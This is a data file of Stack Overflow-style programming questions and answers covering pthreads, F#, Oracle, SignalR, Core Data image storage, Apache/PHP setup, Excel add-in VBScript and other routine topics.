39195448	0	Getting Leaks Even After pthread_detach <p>I am trying to make self-cleanup thread code to release pthread_t resources if I terminate the whole program from a side thread using pthread_detach, but I am still getting memory leaks reports from valgrind with possibly lost bytes. Here is my sample code snippet:</p> <pre><code>pthread_t main_thread; pthread_t second_thread; void* thread_func() { pthread_detach(pthread_self()); exit(0); } int main() { main_thread = pthread_self(); // record main thread in case needed later pthread_create(&amp;second_thread, NULL, thread_func, NULL); while(1); // making main thread wait using a busy-wait (in case pthread_join) interferes // with pthread_detach (that's another question though: does pthread_join called // from another thread overlaps with pthread_detach from the same thread?) } </code></pre> <p><br></p> <p>Can anyone please help me indicate where I forgot to release any allocated resources?</p>
1060506	0	F# using sequence cache correctly <p>I'm trying to use Seq.cache with a function that I made that returns a sequence of primes up to a number N excluding the number 1. I'm having trouble figuring out how to keep the cached sequence in scope but still use it in my definition.</p> <pre><code>let rec primesNot1 n = {2 .. n} |&gt; Seq.filter (fun i -&gt; (primesNot1 (i / 2) |&gt; Seq.for_all (fun o -&gt; i % o &lt;&gt; 0))) |&gt; Seq.append {2 .. 2} |&gt; Seq.cache </code></pre> <p>Any ideas of how I could use Seq.cache to make this faster? Currently it keeps dropping from scope and is only slowing down performance.</p>
529098	0	Removing duplicate rows from table in Oracle <p>I'm testing something in Oracle and populated a table with some sample data, but in the process I accidentally loaded duplicate records, so now I can't create a primary key using some of the columns.</p> <p>How can I delete all duplicate rows and leave only one of them?</p>
5850190	0	 <p>A very crude way of doing it would be, simply subtracting the registration date from the current time, and get the total months from the number of days:</p> <pre><code>TimeSpan age = DateTime.Now - registrationDate; int months = (int) (age.TotalDays/30); </code></pre> <p>After a few years (about six or seven) you'll get extra months counted. Counting in months is not easy because a month is not an exact quantity. I'm guessing that a vehicle being six years old is probably very common, so this may not be a good fit.</p> <p>A better alternative would be to subtract the years and the months directly:</p> <pre><code>int fullYears = (now.Year - registrationDate.Year) * 12; int partialYear = now.Month - registrationDate.Month; int months = fullYears + partialYear; </code></pre>
5846473	0	 <p>Try put this code in your page</p> <pre><code>&lt;script type="text/javascript"&gt; Sys.Application.add_load(function () { Sys.Extended.UI.MaskedEditBehavior.prototype._MoveDecimalPos = function () { var e = this.get_element(); var wrapper = Sys.Extended.UI.TextBoxWrapper.get_Wrapper(e); var curpos = this._LogicFirstPos; var max = this._LogicLastPos; var posDc = -1; while (curpos &lt; max) { if (wrapper.get_Value().substring(curpos, curpos + 1) == this.get_CultureDecimalPlaceholder()) { posDc = curpos + 1; break; } curpos++; } if (posDc == -1) { return; } this.setSelectionRange(posDc, posDc); }; }); &lt;/script&gt; </code></pre>
26612737	1	Is there a way to append/extend a list with another list at a specific index in python? <p>In other words, I want to accomplish something like the following:</p> <pre><code>a = [1, 2, 3, 7, 8] b = [4, 5, 6] # some magic here to insert list b into list a at index 3 so that a = [1, 2, 3, 4, 5, 6, 7, 8] </code></pre>
15459922	0	How to run an Android app in IntelliJ Simulator <p>I installed IntelliJ 12 and Android SDK 10 and 17. I setup a simple "hello world" android app in IntelliJ. Then I run the app in emulator using IntelliJ. IntelliJ executes the following command:</p> <pre><code>"D:\Program Files\Android\android-sdk\tools\emulator.exe" -avd AVD_for_Nexus_S_by_Google -netspeed full -netdelay none </code></pre> <p>Android emulator runs but the "hello world" app is not inside it:</p> <p><img src="https://i.imgur.com/8PfaqxW.png" alt=""></p> <p>What should I do in order to make the emulator execute "hello world" app? I guess there should be some reference to the app in the above command. </p>
39467407	0	 <p>One-liner direct computation (no Date object):</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>function daysInMonth(m, y) {//m is 1-based, feb = 2 return 31 - (--m ^ 1? m % 7 &amp; 1: y &amp; 3? 3: y % 25? 2: y &amp; 15? 3: 2); } console.log(daysInMonth(2, 1999)); // February in a non-leap year console.log(daysInMonth(2, 2000)); // February in a leap year</code></pre> </div> </div> </p> <p>Variation with 0-based months:</p> <pre><code>function daysInMonth(m, y) {//m is 0-based, feb = 1 return 31 - (m ^ 1? m % 7 &amp; 1: y &amp; 3? 3: y % 25? 2: y &amp; 15? 3: 2); } </code></pre>
5753775	0	 <p>Refer to this link. you will find many examples related to animation.</p> <p><a href="http://developer.apple.com/library/mac/#documentation/GraphicsImaging/Reference/CAAnimation_class/Introduction/Introduction.html" rel="nofollow">http://developer.apple.com/library/mac/#documentation/GraphicsImaging/Reference/CAAnimation_class/Introduction/Introduction.html</a></p> <p><a href="http://www.vellios.com/2010/07/11/simple-iphone-animation-tutorial/" rel="nofollow">http://www.vellios.com/2010/07/11/simple-iphone-animation-tutorial/</a></p>
26766682	0	 <p>How about something like this?</p> <pre><code>string result = Regex.Replace(searchText, "(?s)^(\\d+/\\d+/\\d+ \\d+:\\d+:\\d+ [APM]{2}) (\\d+) (.*)$", ""); </code></pre> <p>This regex returns the date and time in the first group, the ID in the second and everything else (the message) in the last. </p> <p>The standard form of the above regex is</p> <pre><code>^(\d+/\d+/\d+ \d+:\d+:\d+ [APM]{2}) (\d+) (.*)$ </code></pre>
29215102	0	 <p>Well, this is easy:</p> <pre><code>var DATES=[];for (var i=0;i&lt;mlength;DATES.push([]),i++); </code></pre> <p>Just push an empty array to <code>DATES</code> <code>mlength</code> number of times.</p>
7905816	0	 <p>Here's my wild guess: <strong>cache</strong></p> <p>It could be that you can fit 2 rows of 2000 <code>double</code>s into the cache. Which is slighly less than the 32kb L1 cache. (while leaving room other necessary things)</p> <p>But when you bump it up to 2048, it uses the <strong><em>entire</em></strong> cache (and you spill some because you need room for other things)</p> <p>Assuming the cache policy is LRU, spilling the cache just a tiny bit will cause the entire row to be repeatedly flushed and reloaded into the L1 cache.</p> <p>The other possibility is cache associativity due to the power-of-two. Though I think that processor is 2-way L1 associative so I don't think it matters in this case. (but I'll throw the idea out there anyway)</p> <p><strong>Possible Explanation 2:</strong> Conflict cache misses due to super-alignment on the L2 cache.</p> <p>Your <code>B</code> array is being iterated on the column. So the access is strided. Your total data size is <code>2k x 2k</code> which is about 32 MB per matrix. That's much larger than your L2 cache.</p> <p>When the data is not aligned perfectly, you will have decent spatial locality on B. Although you are hopping rows and only using one element per cacheline, the cacheline stays in the L2 cache to be reused by the next iteration of the middle loop.</p> <p>However, when the data is aligned perfectly (2048), these hops will all land on the same "cache way" and will far exceed your L2 cache associativity. Therefore, the accessed cache lines of <code>B</code> will not stay in cache for the next iteration. <strong><em>Instead, they will need to be pulled in all the way from ram.</em></strong></p>
3050950	0	 <p>I'm guessing that it has to do with using a keyword as a function name. I tried defining a function <code>print()</code> in a module just now for testing and got the same sort of error. Try changing the name of this function slightly and see if it fixes the problem.</p>
10893759	0	 <p>Another way to do this would be to create a singleton class.</p> <pre><code>#include &lt;fstream&gt; #include &lt;map&gt; #include &lt;string&gt; class ConfigStore { public: static ConfigStore&amp; get() { static ConfigStore instance; return instance; } void parseFile(std::ifstream&amp; inStream); template&lt;typename _T&gt; _T getValue(std::string key); private: ConfigStore(){}; ConfigStore(const ConfigStore&amp;); ConfigStore&amp; operator=(const ConfigStore&amp;); std::map&lt;std::string,std::string&gt; storedConfig; }; </code></pre> <p>Here the configuration is saved in a map, meaning as long as parseFile can read the file and getValue can parse the type there is no need to recompile the config class if you add new keys.</p> <p>Usage:</p> <pre><code>std::ifstream input("somefile.txt"); ConfigStore::get().parseFile(input); std::cout&lt;&lt;ConfigStore::get().getValue&lt;std::string&gt;(std::string("thing"))&lt;&lt;std::endl; </code></pre>
24521990	0	 <p>easily done, you just need to set the display to inline-block for those two <code>iframe</code>s. </p> <pre><code>iframe:nth-child(2),iframe:nth-child(3){ display:inline-block; } </code></pre> <p><a href="http://codepen.io/lukeocom/pen/JkFhl" rel="nofollow">here's an example</a>.</p> <p><code>iframe</code>s are somewhat frowned upon. You might like to consider using <code>div</code>s with ajax instead, utilizing the jquery <code>$.load</code> function to load whatever you like into them. You can read up on that <a href="http://api.jquery.com/load/" rel="nofollow">here</a>. </p> <p>Hope that helps...</p>
27996685	0	 <p>Skip to <strong>Processing the Image</strong> to find out how to convert <code>UIImage</code> to <code>NSData</code> (which is what Core Data uses)</p> <p>Or download from <a href="https://github.com/romainmenke/SimpleCam" rel="nofollow noreferrer">github</a></p> <p><strong>Core Data Setup:</strong></p> <p>Set up two entities : Full Resolution and Thumbnail. Full Resolutions is to store the original image. Thumbnail to store a smaller version to be used inside the app. You might use a smaller version in a <code>UICollectionView</code> overview for example.</p> <p>Images are stored as <code>Binary Data</code> in <code>Core Data</code>. The corresponding type in <code>Foundation</code> is <code>NSData</code>. Convert back to <code>UIImage</code> with <code>UIImage(data: newImageData)</code></p> <p><a href="https://i.stack.imgur.com/HJkRs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HJkRs.png" alt="enter image description here"></a></p> <hr> <p><a href="https://i.stack.imgur.com/WU38e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WU38e.png" alt="enter image description here"></a></p> <hr> <p>Check the <strong>Allows External Storage</strong> box for the Binary Data fields. This will automatically save the images in the file system en reference them in Core Data</p> <p><a href="https://i.stack.imgur.com/ctgDN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ctgDN.png" alt="enter image description here"></a></p> <p>Connect the two entities, creating a one to one relationship between the two. </p> <p><a href="https://i.stack.imgur.com/JXxf2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JXxf2.png" alt="enter image description here"></a></p> <p>Go to <strong>Editor</strong> en select Create <strong>NSManagedObjectSubclass</strong>. This will generate files with Classes representing your Managed Object SubClasses. These will appear in your project file structure.</p> <p><a href="https://i.stack.imgur.com/603At.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/603At.png" alt="enter image description here"></a></p> <hr> <p><strong>Basic ViewController Setup:</strong></p> <p>Import the following :</p> <pre><code>import UIKit import CoreData </code></pre> <hr> <ul> <li>Setup two <code>UIButtons</code> and an <code>UIImageView</code> in the Interface Builder</li> <li>Create two dispatch queues, one for CoreData and one for UIImage conversions</li> </ul> <hr> <pre><code>class ViewController: UIViewController { // imageview to display loaded image @IBOutlet weak var imageView: UIImageView! // image picker for capture / load let imagePicker = UIImagePickerController() // dispatch queues let convertQueue = dispatch_queue_create("convertQueue", DISPATCH_QUEUE_CONCURRENT) let saveQueue = dispatch_queue_create("saveQueue", DISPATCH_QUEUE_CONCURRENT) // moc var managedContext : NSManagedObjectContext? override func viewDidLoad() { super.viewDidLoad() imagePickerSetup() // image picker delegate and settings coreDataSetup() // set value of moc on the right thread } // this function displays the imagePicker @IBAction func capture(sender: AnyObject) { // button action presentViewController(imagePicker, animated: true, completion: nil) } @IBAction func load(sender: AnyObject) { // button action loadImages { (images) -&gt; Void in if let thumbnailData = images?.last?.thumbnail?.imageData { let image = UIImage(data: thumbnailData) self.imageView.image = image } } } } </code></pre> <hr> <p>This function sets a value to <code>managedContext</code> on the correct thread. Since CoreData needs all operations in one <code>NSManagedObjectContext</code> to happen in the same thread.</p> <pre><code>extension ViewController { func coreDataSetup() { dispatch_sync(saveQueue) { self.managedContext = AppDelegate().managedObjectContext } } } </code></pre> <hr> <p>Extend the <code>UIViewController</code> so it conforms to <code>UIImagePickerControllerDelegate</code> and <code>UINavigationControllerDelegate</code> These are needed for the <code>UIImagePickerController</code>.</p> <p>Create a setup function and also create the delegate function <code>imagePickerController(picker: UIImagePickerController, didFinishPickingImage image: UIImage, editingInfo: [String : AnyObject]?)</code></p> <pre><code>extension ViewController : UIImagePickerControllerDelegate, UINavigationControllerDelegate { func imagePickerSetup() { imagePicker.delegate = self imagePicker.sourceType = UIImagePickerControllerSourceType.Camera } // When an image is "picked" it will return through this function func imagePickerController(picker: UIImagePickerController, didFinishPickingImage image: UIImage, editingInfo: [String : AnyObject]?) { self.dismissViewControllerAnimated(true, completion: nil) prepareImageForSaving(image) } } </code></pre> <p>Immediately dismiss the <code>UIImagePickerController</code>, else the app will appear to freeze.</p> <hr> <p><strong>Processing the Image:</strong></p> <p>Call this function inside <code>imagePickerController(picker: UIImagePickerController, didFinishPickingImage image: UIImage, editingInfo: [String : AnyObject]?)</code>. </p> <ul> <li><p>First get the current date with <code>timeIntervalSince1970</code>. This returns an <code>NSTimerInterval</code> in seconds. This converts nicely to a <code>Double</code>. It will serve as a unique id for the images and as a way to sort them.</p></li> <li><p>Now is a good time to move to the separate queue and free up the main queue. I used <code>dispatch_async(convertQueue)</code> first to do the heavy lifting on a separate thread.</p></li> <li><p>Then you need to convert the <code>UIImage</code> to <code>NSData</code> this is done with <code>UIImageJPEGRepresentation(image, 1)</code>. The <code>1</code> represents the quality where <code>1</code> is the highest and <code>0</code> is the lowest. It returns an optional so I used optional binding.</p></li> <li><p>Scale the image to a desired thumbnail size and also convert to <code>NSData</code>.</p></li> </ul> <p><strong>Code:</strong></p> <pre><code>extension ViewController { func prepareImageForSaving(image:UIImage) { // use date as unique id let date : Double = NSDate().timeIntervalSince1970 // dispatch with gcd. dispatch_async(convertQueue) { // create NSData from UIImage guard let imageData = UIImageJPEGRepresentation(image, 1) else { // handle failed conversion print("jpg error") return } // scale image, I chose the size of the VC because it is easy let thumbnail = image.scale(toSize: self.view.frame.size) guard let thumbnailData = UIImageJPEGRepresentation(thumbnail, 0.7) else { // handle failed conversion print("jpg error") return } // send to save function self.saveImage(imageData, thumbnailData: thumbnailData, date: date) } } } </code></pre> <p>This function does the actual saving.</p> <ul> <li>Go the the CoreData thread with <code>dispatch_barrier_sync(saveQueue)</code></li> <li>First insert a new FullRes and a new Thumbnail object into the Managed Object Context.</li> <li>Set the values</li> <li>Set the relationship between FullRes and Thumbnail</li> <li>Use <code>do try catch</code> to attempt a save</li> <li>Refresh the Managed Object Context to free up memory</li> </ul> <p>By using <code>dispatch_barrier_sync(saveQueue)</code> we are sure that we can safely store a new image and that new saves or loads will wait until this is finished.</p> <p><strong>Code:</strong></p> <pre><code>extension ViewController { func saveImage(imageData:NSData, thumbnailData:NSData, date: Double) { dispatch_barrier_sync(saveQueue) { // create new objects in moc guard let moc = self.managedContext else { return } guard let fullRes = NSEntityDescription.insertNewObjectForEntityForName("FullRes", inManagedObjectContext: moc) as? FullRes, let thumbnail = NSEntityDescription.insertNewObjectForEntityForName("Thumbnail", inManagedObjectContext: moc) as? Thumbnail else { // handle failed new object in moc print("moc error") return } //set image data of fullres fullRes.imageData = imageData //set image data of thumbnail thumbnail.imageData = thumbnailData thumbnail.id = date as NSNumber thumbnail.fullRes = fullRes // save the new objects do { try moc.save() } catch { fatalError("Failure to save context: \(error)") } // clear the moc moc.refreshAllObjects() } } } </code></pre> <p><strong>To load an image :</strong></p> <pre><code>extension ViewController { func loadImages(fetched:(images:[FullRes]?) -&gt; Void) { dispatch_async(saveQueue) { guard let moc = self.managedContext else { return } let fetchRequest = NSFetchRequest(entityName: "FullRes") do { let results = try moc.executeFetchRequest(fetchRequest) let imageData = results as? [FullRes] dispatch_async(dispatch_get_main_queue()) { fetched(images: imageData) } } catch let error as NSError { print("Could not fetch \(error), \(error.userInfo)") return } } } } </code></pre> <p><strong>The functions used to scale the image:</strong></p> <pre><code>extension CGSize { func resizeFill(toSize: CGSize) -&gt; CGSize { let scale : CGFloat = (self.height / self.width) &lt; (toSize.height / toSize.width) ? (self.height / toSize.height) : (self.width / toSize.width) return CGSize(width: (self.width / scale), height: (self.height / scale)) } } extension UIImage { func scale(toSize newSize:CGSize) -&gt; UIImage { // make sure the new size has the correct aspect ratio let aspectFill = self.size.resizeFill(newSize) UIGraphicsBeginImageContextWithOptions(aspectFill, false, 0.0); self.drawInRect(CGRectMake(0, 0, aspectFill.width, aspectFill.height)) let newImage:UIImage = UIGraphicsGetImageFromCurrentImageContext() UIGraphicsEndImageContext() return newImage } } </code></pre>
13523529	0	 <p>JSON objects are made only to transfer strings, basic objects, integers and a few other things. They are not meant for sending images. However, if you still want to try implementing this in your own way, I can think of two ways to do it. Firstly, just send the name of the images (exact link) or upload it and provide the path.</p> <p>Or secondly, convert it to base64 in the browser, send it, and have code convert it back whenever required.</p> <p>That would look something like this:</p> <pre><code>&lt;form method="async" onsubmit="addImage(this.image)"&gt; &lt;input type="file" name="image" /&gt;&lt;br /&gt; &lt;input type="submit" value="Submit" /&gt; &lt;/form&gt; &lt;div id="content"&gt;&lt;/div&gt; &lt;script&gt; function addImage(img) { $.ajax({ type: "POST", url: "/chat", data: {'image': toBase64(img)}, cache: false }); } function toBase64(img) { // Create an HTML5 Canvas var canvas = $( '&lt;canvas&gt;&lt;/canvas&gt;' ) .attr( 'width', img.width ) .attr( 'height', img.height ); // Initialize with image var context = canvas.getContext("2d"); context.drawImage( img, 0, 0 ); // Convert and return return context.toDataURL("image/png"); } &lt;/script&gt; </code></pre>
20717852	0	 <p>Vaadin provides a DefaultTableFieldFactory which does map</p> <ul> <li>Date to a DateField</li> <li>Boolean to a CheckBox</li> <li>other to TextField</li> </ul> <p>The DefaultTableFieldFactory is already set on the table. So in your case, if you just want to have CheckBoxes for your boolean fields, I wouldn't implement an own TableFieldFactory. Here's an example:</p> <pre><code>Table table = new Table(); table.addContainerProperty("text", String.class, ""); table.addContainerProperty("boolean", Boolean.class, false); table.setEditable(true); Object itemId = table.addItem(); table.getItem(itemId).getItemProperty("text").setValue("has accepted"); table.getItem(itemId).getItemProperty("boolean").setValue(true); </code></pre> <p>If you really need to have your own TableFieldFactory then Vaadin recommends:</p> <blockquote> <p>You could just implement the TableFieldFactory interface, but we recommend that you extend the DefaultFieldFactory according to your needs. In the default implementation, the mappings are defined in the createFieldByPropertyType() method (you might want to look at the source code) both for tables and forms.</p> </blockquote> <p>In your code given in the question you always return a TextField. For your missing CheckBoxes you need to return in the specific case a CheckBox.</p> <p>Don't forget to <code>setEditable(true)</code> when using FieldFactories.</p> <p>More information <a href="https://vaadin.com/book/-/page/components.table.html" rel="nofollow">here</a> under 5.16.3. Editing the Values in a Table.</p>
38820117	0	 <p>check the class of the two objects (label and combined) you notice they are not the same. you can then subset the one with a different dimension with <strong><em>dimRid &lt;- combined[,1]</em></strong> </p>
549850	0	 <p>Is the link from a different domain? Browsers may restrict access to any information about what a user has open in other windows or frames if it's on another site as a security precaution.</p>
6715093	0	Why is there no edit in Blend option in WPF4? <p>I am a Silverlight 4 developer getting started with WPF4. In Silverlight 4, there is option available in menu "Edit in Blend" when you right click on any xaml file. Why is this option not available in WPF4?</p> <p>Do I need to download some patch for Visual Studio 2010?</p> <p>Thanks in advance :)</p>
31450970	0	php dll cannot be loaded into server when using apachelounge VC14 build and php.net VC11 build <p>I am following this <a href="http://superuser.com/questions/748117/how-to-manually-install-apache-php-and-mysql-on-windows">great post</a></p> <p>Version details;</p> <p>Apache 2.4.16 php 5.6.11 mysql community installer 5.6.25</p> <p>Directory structure:</p> <p>C: server Every setup goes here</p> <p>Windows System - 7 - 64 bit.</p> <p><strong>Error</strong></p> <pre><code>httpd.exe: Syntax error on line 178 of C:/server/httpd/Apache24 /conf/httpd.conf: Cannot load C:\\server\\php\\php5apache2_4.dll into server: The specified module could not be found. </code></pre> <p><strong>code which causes</strong></p> <pre><code>LoadModule php5_module C:\server\php\php5apache2_4.dll ----&gt; This Line &lt;IfModule php5_module&gt; DirectoryIndex index.html index.php AddHandler application/x-httpd-php .php PHPIniDir "C:\server\php" &lt;/IfModule&gt; </code></pre> <p>It was worked earlier - I just put a new OS and trying the same under <code>C;\server</code> for generic setup so that I can make use of it in every windows 64 bit system with same directory structure.</p> <p><strong>My doubt</strong> : Is it due to version incompatible problems</p> <p><strong>Download locations:</strong></p> <pre><code> mysql is from mysql domain php from php domain apache from apachelongue </code></pre> <p>Please help me to solve the error.</p> <p><strong>EDIT FOR A COMMENT:</strong></p> <p>php apache dll is present in the php directory </p> <p><strong>A NOTE</strong></p> <p>A question becomes stupid when you know the answer like you remember <code>a-z</code>. So no question is stupid generally.</p>
1130301	0	Uninstalling Excel add-in using VBScript <p>I'm trying to create a MSI installer that installs an Add-In (.xla) into Microsoft Excel (2007 in my case). Installing it goes well. I use a 'Custom Action' that runs this VBScript file:</p> <pre><code>Dim SourceDir Dim objExcel Dim objAddin SourceDir = Session.Property("CustomActionData") Set objExcel = CreateObject("Excel.Application") objExcel.Workbooks.Add Set objAddin = objExcel.AddIns.Add(SourceDir &amp; "addin.xla", True) objAddin.Installed = True objExcel.Quit Set objExcel = Nothing </code></pre> <p>I pass the location of the addin to the script using the CustomActionData property. The Add-in is copied to a folder inside 'Program Files', where it will stay until it is uninstalled. This is handled by the installer itself.</p> <p>The problem is when I use the uninstall script:</p> <pre><code>Dim objExcel Dim addin On Error Resume Next Set objExcel = CreateObject("Excel.Application") For i = 0 To objExcel.Addins.Count Set objAddin= objExcel.Addins.item(i) If objAddin.Name = "addin.xla" Then objAddin.Installed = False End If Next objExcel.Quit Set objExcel = Nothing </code></pre> <p>The addin creates a custom toolbar in Excel u[ installation. The toolbar is not removed upon uninstall, and the entry of the add-in in the 'Add-in' section of Excel's settings isn't either.</p> <p>Can anyone tell me if these two things can be done programmatically using VBScript?</p> <p>thanks in advance</p>
10597501	0	 <p>The problem is that you're not escaping the special characters in the text, such as the <code>/</code> delimiter.</p> <p>The easiest solution is to pick a different delimiter and to specify only a part of the string, for instance</p> <pre><code>find . -name '*.html' -o -name '*.htm' | xargs fgrep -l '&lt;script&gt;i=0;try' | xargs perl -i.infected -pe 's#&lt;script&gt;i=0;try.*?&lt;/script&gt;##g' </code></pre> <p>(untested) may do the job. (The <code>.*?</code> construct picks the shortest match; I don't know how to do that in <code>sed</code>.)</p> <p>Verify with something like</p> <pre><code>find . -name '*.infected' | sed -e 's#.*#diff &amp; &amp;#' -e 's#.infected##' | sh -x </code></pre>
694603	0	 <p>The main problem is C run-time library. Python 2.4/2.5 linked against msvcr71.dll and therefore all C-extensions should be linked against this dll.</p> <p>Another option is to use gcc (mingw) instead of VS2005, you can use it to compile python extensions only. There is decent installer that allows you to configure gcc as default compiler for your Python version:</p> <p><a href="http://www.develer.com/oss/GccWinBinaries" rel="nofollow noreferrer">http://www.develer.com/oss/GccWinBinaries</a></p>
30486321	0	 <p>Try the following idea: </p> <pre><code>try { File file = new File(path); FileWriter writer = new FileWriter(file); BufferedWriter output = new BufferedWriter(writer); for (int[] array : matrix) { for (int item : array) { output.write(item); output.write(" "); } output.write("\n"); } output.close(); } catch (IOException e) { } </code></pre>
12785604	0	 <p>You don't specify, but assuming that JSON string is what your ajax code is receiving as the response, then you're actually re-JSONing that text, so it becomes a double-encoded string.</p> <p>jquery can auto-decode that back to a native structure for you, if you tell is that you're expecting json as a response, e.g.</p> <pre><code>$.ajax({ dataType: 'json', etc... }); </code></pre> <p>then you'd simply have</p> <pre><code>alert(result[0]['key']); </code></pre> <p>or</p> <pre><code>data = jquery.parseJSON(result); alert(data[0]['key']); </code></pre>
10100237	0	 <p>You probably need to set <a href="http://developer.android.com/reference/android/view/animation/Animation.html#attr_android%3afillEnabled" rel="nofollow"><code>android:fillEnabled="true"</code></a> and/or <a href="http://developer.android.com/reference/android/view/animation/Animation.html#attr_android%3afillAfter" rel="nofollow"><code>android:fillAfter="true"</code></a>. </p> <p>If that does not work you can apply the change to the layout in <a href="http://developer.android.com/reference/android/view/animation/Animation.AnimationListener.html#onAnimationEnd%28android.view.animation.Animation%29" rel="nofollow"><code>AnimationListener#onAnimationEnd</code></a>. </p>
21046262	0	 <p>You need to call <code>addNewMessageToPage</code> in your <code>Post</code> action method.</p> <pre><code>var hubContext = GlobalHost.ConnectionManager.GetHubContext&lt;ChatHub&gt;(); hubContext.Clients.All.addNewMessageToPage(chat.Name, chat.Message); </code></pre> <p>Then in your JS file:</p> <pre><code>var chatHub = $.connection.chatHub; chatHub.client.addNewMessageToPage= function (name, message) { //Add name and message to the page here }; $.connection.hub.start(); </code></pre>
34873261	0	 <p>The size itself does't matter, the whole point of a layout is that it should be reactive to the size available. Some items will be exact sizes and others will be proportional. The proportions are based around the overall size available and the parts that you need to be exact or to fit exactly to their contents.</p> <p>It's opinion but I guess the size shown in storyboard is big enough to allow easy layout but not so big it's hard to fit on screen with other panes for code and inspectors.</p>
20430823	0	 <p>The statement <code>Foo f();</code> is a function declaration, not a declaration of a local variable <code>f</code> of type <code>Foo</code>. To declare a local <code>Foo</code> value using the parameterless constructor you must omit the <code>()</code> </p> <pre><code>Foo f; f.doSomething(); </code></pre>
6155073	0	 <p>If you end up going the route of uploading directly to S3 which offloads the work from your Rails server, please check out my sample projects:</p> <p>Sample project using Rails 3, Flash and MooTools-based FancyUploader to upload directly to S3: <a href="https://github.com/iwasrobbed/Rails3-S3-Uploader-FancyUploader" rel="nofollow">https://github.com/iwasrobbed/Rails3-S3-Uploader-FancyUploader</a></p> <p>Sample project using Rails 3, Flash/Silverlight/GoogleGears/BrowserPlus and jQuery-based Plupload to upload directly to S3: <a href="https://github.com/iwasrobbed/Rails3-S3-Uploader-Plupload" rel="nofollow">https://github.com/iwasrobbed/Rails3-S3-Uploader-Plupload</a></p> <p>By the way, you can do post-processing with Paperclip using something like this blog post describes:</p> <p><a href="http://www.railstoolkit.com/posts/fancyupload-amazon-s3-uploader-with-paperclip" rel="nofollow">http://www.railstoolkit.com/posts/fancyupload-amazon-s3-uploader-with-paperclip</a></p>
34713327	0	Appending elements to parents that called the createElement() function <p>I am trying to create a function that creates an element and takes the parameter of <code>element</code> (an object).</p> <pre><code>var createElement = function(element) { var newElement = document.createElement(element.type); var newElement_textNode = document.createTextNode(element.text); newElement.appendChild(newElement_textNode); element.parent.appendChild(newElement); }; </code></pre> <p>The only problem is I want to append the element to the element that called the function. For example: </p> <pre><code>var list = document.getElementById('ulList'); list.createElement({ type: 'li', text: 'Another item' }); </code></pre> <p>My question is how do I append it to the element that called the function, in this case, the ul <code>list</code></p>
13807696	0	 <p>You can apply the Holo theme using the <a href="https://github.com/ChristopheVersieux/HoloEverywhere" rel="nofollow">HoloEverywhere</a> library. I use it in all my apps, and it works very well.</p> <p>You have to add it as a library project to use it. If you use Git, you can add it as a submodule.</p>
31189695	0	Imagemagick transitions between multiple images -- need idea <p>I am using Fred's Imagemagick scripts, particularly, <a href="http://www.fmwconcepts.com/imagemagick/fxtransitions/index.php" rel="nofollow">fxtransitions</a> to create a transition effect between two images. I am creating jpeg image frames. Later, I will use ffmpeg to turn them into video. It is my third day with Imagemagick and currently I can successfully apply the transition effect between two images with the following script. However, I also need to meet two following criteria:</p> <pre><code>$result = shell_exec("bash /cygdrive/path/to/fxtransitions -e explode -f 50 -d 1 -p 1 -r first.jpg second.jpg output.jpg"); echo $result; </code></pre> <ol> <li><p>Each image must stay for some 9 seconds without distortion and then quickly transforms into the next image. </p></li> <li><p>Currently, Fred's script allows two image inputs. Is it possible to use more than two images within the script? How can I loop through multiple images with php? </p></li> </ol>
532319	0	Replicate Database <p>I want to execute proc of database 'A' from database 'B'. My situation is this that I have a database 'A' and a database 'B'. I want that when a proc is executed on database 'A' it will also execute on database 'B'. This is because the whole structure is the same on both databases but some procs are different in database 'B'. I want to match the result effected by both procs in DB 'A' and DB 'B'. Is there is any solution for this problem? Please help me. Thanks in advance.</p>
26416074	0	 <p>I can give you a part of the solution: how to select full words. My script is for textarea but you can make a few changes if you want to use div contenteditable instead.</p> <p><strong><a href="http://jsfiddle.net/pmrotule/ypv5y06j/2/" rel="nofollow">JSFIDDLE DEMO</a></strong></p> <pre><code>var lastSelectStart = 0; var lastSelectEnd = 0; saveSelection = function(){ lastSelectStart = document.getElementById("text").selectionStart; lastSelectEnd = document.getElementById("text").selectionEnd; } selectWords = function(){ var divEditable = document.getElementById("text"); html = divEditable.innerHTML; var start = lastSelectStart; var end = lastSelectEnd; var before = html.substring(0,start); var after = html.substring(end); var split = before.match(/[ .,;]/gi); var startIndex = before.lastIndexOf(split[split.length-1]) + 1; split = after.match(/[ .,;]/gi); var endIndex = after.indexOf(split[0]); endIndex = end + endIndex; divEditable.selectionStart = startIndex; divEditable.selectionEnd = endIndex; // startIndex is where you insert your stars and // (endIndex + number of stars added) is where you insert your stars again } </code></pre>
40596310	0	Drop down value replicates in nog options Angular <p>I have a dynamically generated html table that adds rows based on the record that is displayed. I'm adding a column that will contain a dropdown. I used ng-options for it, however every time I change one record, the rest are also updated. Tried changing it to ng-repeat and get the same result. See code below:</p> <pre><code> &lt;td&gt; &lt;select class="form-control" ng-model="$ctrl.selectedRC" ng- options="r.ccd as (r.OName + ' -- '+ r.RCName) for r in $ctrl.RC track by r.ccd"&gt; &lt;/select&gt; &lt;!--if I have 5 records, all dropdowns in the table change --&gt; &lt;/td&gt; </code></pre> <p>Using ng-repeat:</p> <pre><code> &lt;select class="form-control" ng-model="$ctrl.selectedRC" &lt;option value="" ng-selected="true"&gt;--Select one--&lt;/option&gt; &lt;option ng-repeat="r in $ctrl.RC" value="{{r.OName}}" ng-selected="{{r.OName === selectedRC}}"&gt;{{r.RCName}} &lt;/option&gt; &lt;/select&gt; </code></pre> <p>I know that these two are currently displaying two different things (one a concatenated set of values, the other juts one). But my main interest is to figure out how to have each <code>&lt;td&gt;</code> have its own dropdown without affecting the rest of the rows.</p>
7431008	0	Should a reference table include numeric PK identity column value of 0? <p>We have a table that contains the valid currency codes. We are choosing to use a numeric value as the primary key rather than a 3 char ISO Currency code, for example. </p> <p>General consensus has concluded that this <code>CurrencyId</code> column should contain values that begin with zero. Since the US dollar is the primary currency for us, it claimed the first position with a value of 0.</p> <p>My thought is that identity columns should not start at zero for the sole reason that some languages initialize numerics to zero and as a result the currency code may be unintentionally set to <code>USD</code> when really it was never assigned.</p> <p>Am I all wet? I would prefer to assign a <code>CurrencyId</code> of 1 to <code>USD</code>.</p>
